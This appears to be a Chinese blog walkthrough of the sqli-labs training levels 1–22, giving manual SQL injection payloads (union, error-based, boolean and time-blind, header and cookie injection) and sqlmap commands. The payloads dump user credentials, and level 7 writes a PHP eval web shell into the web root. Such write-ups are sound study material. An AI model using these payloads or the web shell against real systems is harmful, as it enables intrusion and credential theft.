sqil-labs-Less1-22

声明
学习SQL注入,提高网路安全能力,漏洞发现的实质就是发现SQL语句的闭合方式,一般来讲都围绕着这几个符号
双引号 "
单引号 ’
双引号括号 “)
单引号括号’)
实际运用过程如下 也可以结合sleep函数使用
http://192.168.239.138:86/Less-9/?id=” --+
http://192.168.239.138:86/Less-9/?id=’ --+
http://192.168.239.138:86/Less-9/?id=") --+
http://192.168.239.138:86/Less-9/?id=’) --+
常用
database()
返回当前数据库名

version()
返回数据库的版本号

CONCAT(s1,s2…sn)
字符串 s1,s2 等多个字符串合并为一个字符串

CONCAT_WS(x, s1,s2…sn)
同 CONCAT(s1,s2,…) 函数,但是每个字符串之间要加上 x,x 可以是分隔符

LIMIT
mysql> SELECT * FROM table LIMIT 5,10; // 检索记录行 6-15

//为了检索从某一个偏移量到记录集的结束所有的记录行,可以指定第二个参数为 -1:
mysql> SELECT * FROM table LIMIT 95,-1; // 检索记录行 96-last.

//如果只给定一个参数,它表示返回最大的记录行数目:
mysql> SELECT * FROM table LIMIT 5; //检索前 5 个记录行

//换句话说,LIMIT n 等价于 LIMIT 0,n。
sleep
作用就是休眠,参数是休眠的时长,以秒为单位,也可以是小数。

left
LEFT(s,n) 返回字符串 s 的前 n 个字符

返回字符串 runoob 中的前两个字符:

SELECT LEFT(‘runoob’,2) – ru

mid
mid()函数为截取字符串一部分。mid(column_name,start,length)

column_name 必需,要提取字符的字段

start 必需,规定开始位置

length 可选,要返回的字符数,如果省略则返回剩余文本

eg:str=“123456” mid(str,2,1) 结果为2

substr
substr()

substr()和substring()函数实现的功能是一样的,均为截取字符串。

string substring(string, start, length)

string substr(string, start, length)

参数描述同mid()函数,第一个参数为要处理的字符串,start为开始位置,length为截取的长度

ASCII
返回字符串 s 的第一个字符的 ASCII 码。
返回 CustomerName 字段第一个字母的 ASCII 码:

SELECT ASCII(CustomerName) AS NumCodeOfFirstChar
FROM Customers;

count
返回查询的记录总数,expression 参数是一个字段或者 * 号

返回 Products 表中 products 字段总共有多少条记录:

SELECT COUNT(ProductID) AS NumberOfProducts FROM Products;

if
IF(expr,v1,v2) 如果表达式 expr 成立,返回结果 v1;否则,返回结果 v2
SELECT IF(1 > 0,‘正确’,‘错误’)
->正确

updatexml
updatexml()函数,是更新xml文档的函数。

语法updatexml(目标xml文档,xml路径,更新的内容)

select username from security.user where id=1 and (updatexml(‘anything’,’/xx/xx’,’anything’))

sqlmap基础知识积累
基本用语
1.清除sqlmap缓存:
第一个办法:在地址后面加output,删除output里面的内容
第二个办法:sqlmap.py --purge
2.sqlmap -u 注入点 检测注入点是否可用
sqlmap -u 注入点 –batch 自动输入
暴库
sqlmap -u 注入点 –dbs //暴库
Web当前使用的数据库
sqlmap -u 注入点 –current-db //爆当前使用的库
Web数据库使用的账户
sqlmap -u 注入点 –current-user //当前使用的账户
列出sqlserver所有用户
sqlmap -u 注入点 –users // 列出所有使用过的账户
数据库账户与密码
sqlmap -u 注入点 –passwords //mysql的登录账户和密码
列出数据库中的表
sqlmap -u 注入点 -D 指定数据库名 –tables //(-D指定数据库名称)
列出表中字段
sqlmap -u 注入点 -D 指定数据库名 -T 指定的表名 –columns
爆字段内容
sqlmap -u 注入点 -D 指定数据库名 -T 指定表名 -C “email,username,userpassword” –dump (将结果导出)
–risk:风险等级,共有4个,默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。

level:共有五个等级,默认为1,在你不确定哪个payload或者参数为注入点的时候,为了保证全面性,建议使用高的level值

注入技术参数

sqlmap设置具体SQL注入技术
参数:–technique
sqlmap支持的探测方式:
B: Boolean-based blind SQL injection基于布尔的盲注
E: Error-based SQL injection报错注入
U: UNION query SQL injectionunion查询注入
S: Stacked queries SQL injection堆叠注入
T: Time-based blind SQL injection基于时间延迟注入
Q:Inline queries内联查询注入

sqlmap设置时间盲注延迟时间
参数:–time-sec
当使用基于时间的盲注时,默认是5秒,使用–time-sec参数设定延时时间。
可以在payload中查看设置

sqlmap设置union字段数
参数:–union-cols
sqlmap测试union查询注入会测试1-10个字段数,当–level为5的时候增加测试到50个字段数。
设定–union-cols:num1-num2,是测试num1-num2个字段数
python sqlmap.py -u “url” --technique=U --union-cols=12-18

sqlmap设置union字符
参数:–union-char
sqlmap针对union查询的注入会使用NULL字符,但是有些情况下会造成页面返回失败,使用随机整数则会成功
不使用–union-char时的payload
Payload: id=-9868’) UNION ALL SELECT NULL,CONCAT(0x716b6a7871,0x6859495864476c4178487062517374536b73506a627a5168417a706b44635653534a46614e467061,0x716b627171),NULL-- -
使用–union-char时的payload
Payload: id=-9200’) UNION ALL SELECT 23,23,CONCAT(0x7170787671,0x6d77724e757a6b464665625350776a656b47496c6f5a424258486b62414152694d6e48435772506b,0x7176786a71)-- -

sqlmap设置union查询表
参数:–union-from
有些情况下,sqlmap需要设定union查询SQL注入的具体数据表才可以得到数据
python sqlmap.py -u “http://172.17.0.1/Less-3/?id=1” --technique U --union-from users --current-db -v3

sqlmap设置DNS露出攻击
假设攻击者控制着某域名的域名解析服务器,即查询该域名的子域名对应的IP地址都会到这台域名解析服务器来查询。
这时攻击者就可以使用–dns-domain来进行DNS泄露攻击。

sqlmap设置二次注入
二次注入原理在以前有说
参数:–second-order
有时注入结果显示在别的页面,此时需要用此参数指明显示注入结果的页面,该参数后跟一个URL

sqlmap识别指纹
参数:-f或–fingerprint
查看数据库指纹信息

第一关


题目已经告诉我们提示了,有一个ID字段了

在这里插入图片描述

在这里插入图片描述

使用单引号进行测试,一般来说第一个payload都是单引号,如果程序返回SQL语法错误,那就是实锤了,肯定有SQL注入
?id=’
在这里插入图片描述

继续测试,构建完成语句

?id=1 and true --+

在这里插入图片描述

至此,发现漏洞过程结束,开始漏洞利用了

判断当前表的字段数 显示不存在字段,这里得用+代替空格了

?id=1’ order by 4 --+
在这里插入图片描述

?id=1’ order by 3 --+
在这里插入图片描述

使用这个payload,发现没反应?仔细想想,需要把id换成不存在的值,联合出查询但是只有一个回显值,所以随便选个不存在的id
?id=-1’ union select 1,2,3 --+
在这里插入图片描述

开始查询information_schema

可以看到,我们union查询了3个字段值,第一个是null,说白了就是凑数的,第二个是数据库名,显示在了图片第二行,第三个是数据库版本,显示在了第三行,后续的查询,可以操纵SQL语句,让想要爆破的字段值显示在第二行和第三行

?id=-1’ union select null,database(),version()–+
在这里插入图片描述

继续爆破,从information_schema.tables表,简单回顾一下,爆破的是数据库名和表明字段,所以取得是security库里面第一条记录的库名和表名

?id=-1’ union select null,table_schema,table_name from information_schema.tables where table_schema=‘security’ limit 0,1–+

在这里插入图片描述

改变 limit m, n 中的 m, 从表中一行行查询 0~99,其实就是把security库中每一张表名都爆出来,什么?limit好麻烦,那就使用concat函数吧

?id=-1’ union select 1,group_concat(’—’,table_name),3 from information_schema.tables where table_schema=‘security’–+
在这里插入图片描述

看看users表里面都有哪些有价值的字段

?id=-1’ union select 1,group_concat(’—’,column_name),3 from information_schema.columns where table_name=‘users’–+
在这里插入图片描述

我们来获得用户名和密码的字段,这里我们已经查到users表了,所以就操纵users表

?id=-1’ union select 1,group_concat(username,’—’,password),3 from users–+
在这里插入图片描述

这样就成功了

接下来我们用sqlmap来解决这关

?id=1’

-u sqlmap.py -u “http://sqli-labs/Less-1/?id=1”
在这里插入图片描述

-dbs参数爆数据库 sqlmap.py -u “http://sqli-labs/Less-1/?id=1” -dbs
在这里插入图片描述

-tables参数列表 sqlmap.py -u “http://sqli-labs/Less-1/?id=1” -D security -tables

在这里插入图片描述

-columns爆列 sqlmap.py -u “http://sqli-labs/Less-1/?id=1” -D security -T users -columns
在这里插入图片描述

-dump爆数据 sqlmap.py -u “http://sqli-labs/Less-1/?id=1” -D security -T users -C id,username,password -dump
在这里插入图片描述

sqlmap的注入也成功了

第二关

在这里插入图片描述

证明这个是数字型 ?id=1

后面手注,sqlmap注入和第一题一样

第三关

输入?id=1’

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’) LIMIT 0,1’ at line
可以知道?id=1’)
手工注入和第一题一样 接下来演示sqlmap注入
-u sqlmap.py -u “http://sqli-labs/Less-3/?id=1”
-dbs 枚举数据库 sqlmap.py -u “http://sqli-labs/Less-3/?id=1” -dbs
在这里插入图片描述

可以看到 dbms mysql

-tables 枚举表 sqlmap.py -u “http://sqli-labs/Less-3/?id=1” --dbms mysql -D security -tables
在这里插入图片描述

-columns 枚举列 sqlmap.py -u “http://sqli-labs/Less-3/?id=1” --dbms mysql -D security -T users -columns
在这里插入图片描述

-dump 枚举数据 sqlmap.py -u “http://sqli-labs/Less-3/?id=1” --dbms mysql -D security -T users -C username,password -dump
在这里插入图片描述

摘抄:

已知数据库为mysql,则使用–dbms,已知部分sql信息,例如本次课程的(),使用–prefix和–suffix,以及-o、–threads等进行优化,例如:

sqlmap.py -u “http://sqli-labs/Less-3/?id=1” --dbms mysql --prefix="’)" --suffix=" AND (‘abc’=‘abc’" -o -D security -T users -C username,password -dump

第四关

?id=’
在这里插入图片描述

?id="

在这里插入图片描述

?id=") or true --+
在这里插入图片描述

?id=-1") 后面步骤和第一题一样

sqlmap注入

-dbs 枚举数据库 sqlmap.py -u “http://sqli-labs/Less-4/?id=1” -dbs
在这里插入图片描述

第一个否 第二个如果没结果 就选是 提高测试等级 可能对数据库有危害 (后面可以用–batch来跳过)
在这里插入图片描述

后面和第三题一样做法

第五关

报错注入

?id=1’
在这里插入图片描述

可以利用报错注入

用updatexml SQL语句来取user()的值

?id=1’ and updatexml(1,concat(0x7e,(select user()),0x7e),1)–+ (0x7e是ASCII编码,解码结果为~)
在这里插入图片描述

用updatexml取database()

?id=1’ and updatexml(1,concat(0x7e,(select database()),0x7e),1)–+

在这里插入图片描述

获取库名

?id=1’ and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)–+
在这里插入图片描述

获取数据库表名

?id=1’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema= ‘mysql’ limit 0,1),0x7e),1)–+
在这里插入图片描述

boolean盲注

这题查到就提示you are in ,没查到就黑屏

爆库名

猜测数据库长度(二分法)

?id=1’ and length(database())>10–+

在这里插入图片描述

?id=1’ and length(database())=8–+

在这里插入图片描述

所以数据库长度为八 一共八位 我们可以一位一位来爆破

?id=1’ and left(database(),1)=‘a’–+

?id=1’ and left(database(),1)=‘s’–+

在这里插入图片描述

?id=1’ and left(database(),2)=‘sa’–+

?id=1’ and left(database(),2)=‘se’–+
在这里插入图片描述

?id=1’ and left(database(),8)=‘security’–+

爆表名

?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit a,1),b,1))>n

1,a是从0开始第几个表,b从1开始为第几个字符,n是ASCII所对应的十进制数 2,ascii函数是求出ascii码最后结果和n比较 substr配合参数b一次找出表名的每一位 limit配合a找到每一张表

第一张表(emails)

表名长度 ?id=1’ and length((select table_name from information_schema.tables where table_schema=database() limlit 0,1))='6 --+
在这里插入图片描述

?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1))=101 --+

在这里插入图片描述

?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),2,1))=109 --+

?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),3,1))=97 --+

?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),4,1))=105 --+

?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),5,1))=108 --+

?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),6,1))=115 --+

第二张表(referers)

?id=1’ and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))='8 --+

第三张表(uagents)

第四张表(users)

?id=1’ and length((select table_name from information_schema.tables where table_schema=database() limit 3,1))='5 --+

?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 3,1),1,1))=117 --+

?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 3,1),2,1))=115 --+

?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 3,1),3,1))=101 --+

?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 3,1),4,1))=114 --+

?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 3,1),5,1))=115 --+

列名和值

?id=1’ and (select length(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’ limit a,1)=b–+

a从0开始,第a+1列的字段长度与b比较

?id=1’ and ascii(substr((select username from users limit a,1),b,1))=c --+

a从0开始,b从1开始 第a+1条记录的第b位和c比较

第一列

?id=1’ and (select length(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1)=2–+

第二列(username)

?id=1’ and (select length(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’ limit 1,1)=8–+

?id=1’ and ascii(substr((select username from users limit 0,1),1,1))=68 --+

?id=1’ and ascii(substr((select username from users limit 0,1),2,1))=117 --+

?id=1’ and ascii(substr((select username from users limit 0,1),3,1))=109 --+

?id=1’ and ascii(substr((select username from users limit 0,1),4,1))=98 --+

第三列(password)

?id=1’ and (select length(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’ limit 2,1)=8–+

接下来 我们用sqlmap来注入一下吧 积累(-o参数优化 --batch参数进行跳过 --threads参数开启更多路程)

单引号注入

-dbs sqlmap.py -u “http://sqli-labs/Less-5/?id=1” -o -dbs --batch (用了–batch直接跳过了第四关注入时遇到的问题)
在这里插入图片描述

此时我也发现速度特别慢 耗时过久

(–technique参数加速)以后再利用 --dbms指定

–tables sqlmap.py -u “http://sqli-labs/Less-5/?id=1” --dbms mysql -o -D security --tables --batch (比之前的复杂了好多 但是都是为了更好的注入做改进)

后面类似

第六关

在这里插入图片描述

把第五关的单引号换成双引号就行

sqlmap注入

-dbs --technique E -o -dbs --batch

–tables --dbms mysql --technique E -o -D security --tables --batch

–columns --dbms mysql --technique E -o -D security -T users --columns --batch

–dump --dbms mysql --technique E -o -D security -T users -C username,password --dump --batch

第七关

?id=1 and true --+
在这里插入图片描述

?id=1’ 出现报错所以闭合方式为单引号
在这里插入图片描述

?id=1’))
在这里插入图片描述

?id=1’)) and 1=1 --+
在这里插入图片描述
在这里插入图片描述

读取文档:load_file()
  导出文档:into outfile()

对文件读取前提:1. 用户权限足够高,尽量具有root权限
2. Secure_file_priv不为NULL

Windows下使用DOS命令进入MySQL数据库

快捷键Windows键(在键盘上有个Windows标志的按键)+R输入cmd后回车

-u为数据库用户名,root是mysql默认用户名;-p为密码,如果设置了密码,可直接在-p后链接输入

如果你的mysql没有安装在C盘下,你需要先使用DOS命令进入mysql的安装目录下的bin目录中。以我的电脑为例,方法如下:输入D:进入D盘,在输入cd D:\phpstudy_pro\Extensions\MySQL5.7.26\bin进入到mysql的bin目录下才可以输入 -u root -p
在这里插入图片描述

secure_file_priv不能为null(输入 show variables like ‘%secure%’; 来查看)

如上secure_file_priv证明配置有误 打开my.ini文件设置为空 在[mysqld]后面输入 secure_file_priv=’’
在这里插入图片描述

改一次就要重启一次phpstudy 然后再去查看 得到如下

在这里插入图片描述

http://sqli-labs/Less-7/?id=1’)) union select 1,2,’<?php if(isset($_POST["a"])){eval($_POST["a"]);}?>’ into outfile “D:/phpstudy_pro/WWW/less-7/1.php”–+

进入根目录可以看到1.php

再结合蚁剑使用就可以了

第八关

?id=1
在这里插入图片描述

?id=1’

在这里插入图片描述

该题特点为正确返回you are in 错误时无任何显示 可以考虑布尔盲注(与第五关类似做法)

也可以考虑延时注入

sql知识 if(条件,A,B);如果条件成立,执行A,否则执行B sleep(5); 延时5秒

延时注入

判断数据库长度

?id=1’ and if(length(database())=2,1,sleep(5))–+

可以发现等了五秒 所以不符合

?id=1’ and if(length(database())=8,1,sleep(5))–+ 一秒就出现了如下画面 证明数据库长度就是8

在这里插入图片描述

猜解数据库名

?id=1’ and if(ascii(substr(database(),1,1))>10,1,sleep(5))–+ 或者 ?id=1’ and if(substr((select database()),1,1)=‘s’,1,sleep(5))–+

很快就出现如下画面

在这里插入图片描述

然后再渐渐增加有下划线位置的数字

猜解security库中的表

?id=1’ and if(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1)=‘e’,1,sleep(5))–+

在这里插入图片描述

判断字段名(user)

?id=1’ and if(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1,1)=‘u’,1,sleep(5))–+

判断账户(username)

?id=1’ and if(substr((select username from security.users limit 0,1),1,1)=‘d’,1,sleep(5))–+

判断密码(password)

?id=1’ and if(substr((select password from security.users limit 0,1),1,1)=‘d’,1,sleep(5))–+

可以将username,password一起

?id=1’ and if(substr((select group_concat(username,password) from security.users limit 0,1),1,1)=‘d’,1,sleep(5))–+

我们用sqlmap来注入一下吧

-dbs 数据库 -o -dbs --batch

–tables 数据库表 --dbms mysql --technique B -o -D security --tables --batch

–columns 列 --dbms mysql --technique B -o -D security -T users --columns --batch

–dump 数据 --dbms mysql --technique B -o -D security -T users -C username,password --dump --batch

第九关

?id=1’ ?id=1" ?id=1’) ?id=1") …

不管我输入什么字符 都是如下画面 这种情况 那就用sleep函数了
在这里插入图片描述

数据库长度 ?id=1’ and if(length(database())=8,sleep(3),1)–+

这题和第八题有点不一样 无论结果怎么样都是显示you are in

后面类似于第八题语句

用sqlmap注入 可以使用 --technique T

第十关

和第九关几乎一样 但是闭合方式为双引号

以后可以用这种方式来判断闭合方式

?id=1’ and sleep(10) --+

?id=1" and sleep(10) --+

可以发现当id=1" 时转了十秒 所以闭合方式就是双引号

?id=1" and if(length(database())=8,sleep(3),1)–+
?id=1" and if(left(database(),8)=‘security’,sleep(3),1) --+

和第八题类似

反思

1 基础知识没记住 以致于要看着写

2 手工注入还是不太行

3 第七关手工注入就是不能把null去掉 特别迷惑

3 希望以后可以更加熟悉 考虑得全面一些

可以知道?id=1")

Less-11

username部分
语句是直接填写在username填空里 特别注意要带#那样才能注释掉
username=admin’ union select 1,database()# 把username换成admin,后面的操作就和第一题差不多了
在这里插入图片描述
1, username=1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
2, username=1’ union select 1,group_concat(column_name) from info rmation_schema.columns where table_schema=database() and table_name=‘users’#
3, username=1’ union select 1,group_concat(username,0x3a,password,0x3c2f62723e) from security.users# (0x3a表示:,0x3c2f62723e表示, 当然也可以通过用单引号包起来的形式表示)
在这里插入图片描述

password可以随便输,因为后台已经注释掉了

SELECT username, password FROM users WHERE username=‘1’ union select 1,group_concat(username,0x3a,password,0x3c2f62723e) from security.users#’ and password=’$passwd’ LIMIT 0,1

sqlmap
先用burpsuite抓包 看看data的形式
(username和password输入admin)可以发现
uname=admin&passwd=admin&submit=Submit
sqlmap.py -u “http://sqli-labs/Less-11” --data “uname=admin&passwd=admin&submit=Submit” -dbms mysql -D security -T users --dump --batch
在这里插入图片描述

less-12

尝试几次可以发现闭合方式变成了") 后面和Less-11一样

less-13

了解基于extractvalue()和updatexml()的报错注入
https://blog.csdn.net/zpy1998zpy/article/details/80631036?utm_source=app

username=1’) and extractvalue(1,concat(1,database()))#
在这里插入图片描述
username=1’) and extractvalue(1,concat(1,(select (table_name) from information_schema.tables where table_schema=database() limit 0,1)))#
在这里插入图片描述
username=1’) and extractvalue(1,concat(1,(select (column_name) from information_schema.columns where table_name=‘users’ limit 0,1)))#
在这里插入图片描述
username=1’) and extractvalue(1,concat(1,(select concat(username,’:’,password) from security.users limit 1,1)))#
在这里插入图片描述
sqlmap和第十一题一样

less-14


和上题一样 只是闭合方式变成了"

less-15

数据库长度 uname=admin’ or length(database())=‘8’#&passwd=admin&submit=Submit

在这里插入图片描述
uname=ain’ or left((select schema_name from information_schema.schemata limit 0,1),1)>‘a’#&passwd=admin&submit=Submit

uname=1’ or (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) >100)#&passwd=&submit=Submit
猜测当前数据库的表名,成功登录,说明当前数据库中的表名的第一个字母的ascii值大于100

uname=1’ or (select ascii(substr((select username from users limit 0,1),1,1)) >100)#&passwd=&submit=Submit,登录失败,说明表users中的用户名的第一个字母的ascii值不大于100

admin’and If(ascii(substr(database(),1,1))=115,1,sleep(5))#

在这里插入图片描述
sqlmap
和之前一样
然它自己去测吧,从结果来看,可以指定使用布尔盲注或者是时间盲注,这样子跑的会快一些

less-16

和15题一样,只是闭合变成了”)

less-17

在这里插入图片描述
发现在username注入语句会显示
在这里插入图片描述
之后查看一下根目录发现
在这里插入图片描述
username不能注入 所以注入点就是password了

在username输入admin
在password输入报错语句
uname=admin&passwd=123123’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘security’ limit 3,1)),1)#&sumit=Submit
在这里插入图片描述接下来和之前差不多

sqlmap
uname=admin&passwd=admin&submit=Submit
sqlmap.py -u “http://sqli-labs/Less-17” --data “uname=admin&passwd=admin&submit=Submit” -dbms mysql -D security -T users --dump --batch

在这里插入图片描述

less-18


随便测试几个查看有无回显

错误回显和正确回显都是显示IP地址

在这里插入图片描述
在这里插入图片描述在正确的回显中可以看见user agent,猜测可以利用进行注入,可以查看源码进行分析

在这里插入图片描述用户名与密码的获取方式是post,而且采用了check_input处理,所以在这两个地方注入不行,往下看。

在这里插入图片描述发现insert语句,将user-agent以及IP数据插入数据库,可以利用进行注入。 (注意要输入正确的用户名和密码才能绕过用户名密码判断,进入处理user-agent部分)
在这里插入图片描述

less-19

正确回显
在这里插入图片描述
注入点就知道了
在这里插入图片描述

less-20

正确回显
在这里插入图片描述
把 hackbar 的 cookie 栏调出来
查表
uname=admin’ and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e))#
在这里插入图片描述
查列
uname=admin’ and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name = ‘users’ limit 0,1),0x7e))#
查数据
uname=admin’ and extractvalue(1,concat(0x7e,(select username from users limit 0,1),0x7e))#
uname=admin’ and extractvalue(1,concat(0x7e,(select password from users limit 0,1),0x7e))#

sqlmap
sqlmap.py -u “http://127.0.0.1/sqli-labs/Less-20/” --cookie=“uname=admin*”–dbms=MySQL --random-agent --flush-session --technique=B -v 3

less-21

正确回显
在这里插入图片描述
可以发现uname是经过base64加密过的
查看php文件确实如此,所以只需要上传paylaod的时候base64加密一下就可以了
在这里插入图片描述
admin’)

less-22

闭合方式为admin’))

  • 1
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值